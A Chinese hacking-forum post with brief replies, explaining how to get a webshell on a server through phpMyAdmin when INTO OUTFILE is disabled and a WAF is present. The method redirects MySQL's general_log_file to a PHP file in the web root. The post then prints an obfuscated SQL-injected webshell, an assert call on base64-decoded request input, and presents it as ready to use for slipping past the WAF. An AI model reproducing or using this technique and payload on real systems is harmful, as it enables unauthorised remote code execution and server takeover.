搜索
查看: 1138|回复: 5

phpmyadmin新姿势getshell

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-3-6 23:38:56 | 显示全部楼层 |阅读模式
旁白:在一个有WAF、并且mysql中的Into outfile禁用的情况下,我该如何getshell?

作者:倾旋
email:payloads@aliyun.com
首先环境如下:
  1. OS:Windows 2003
  2. WAF:Safe Dog 4.0正式版
  3. phpmyadmin:4.7(许多都可以)
  4. Mysql:5.5+
  5. PHP:5.3
  6. Apache:2.x
复制代码
目前into outfile已经被禁用,并且WAF也会在写入文件的时候拦截。
那么我们尝试通过一个脑洞大开的方法去getshell。
(必须是mysql root权限)
登录phpmyadmin后,查看全局变量:
找到 general log file
这里是存储了每一个sql语句执行的日志(包含SQL语句本身)
但是general log变量必须是ON状态,代表启用。
此时我们把general log开启为ON,然后再去更改general log file的地址为我们的webshell绝对路径。
在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。
此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。
MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
121 Query        SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
121 Quit
接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php
由于有WAF,我们采用远程包含的形式来运行webshell。
在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。

下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:
  1. SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
复制代码


可见这边并没有拦截:



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了

0

主题

4

帖子

6

积分

我是新手

Rank: 1

积分
6
发表于 2017-3-8 21:50:26 | 显示全部楼层
好思路,受教了,谢谢!

0

主题

3

帖子

27

积分

我是新手

Rank: 1

积分
27
发表于 2017-3-18 16:25:45 | 显示全部楼层
这貌似是我朋友发在知乎的文章

0

主题

9

帖子

21

积分

我是新手

Rank: 1

积分
21
发表于 2017-3-23 23:55:40 | 显示全部楼层
文章是来自于这里http://blog.cora-lab.org/287.html

0

主题

6

帖子

10

积分

我是新手

Rank: 1

积分
10
发表于 2017-3-27 10:27:28 | 显示全部楼层
感谢楼主,受教了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表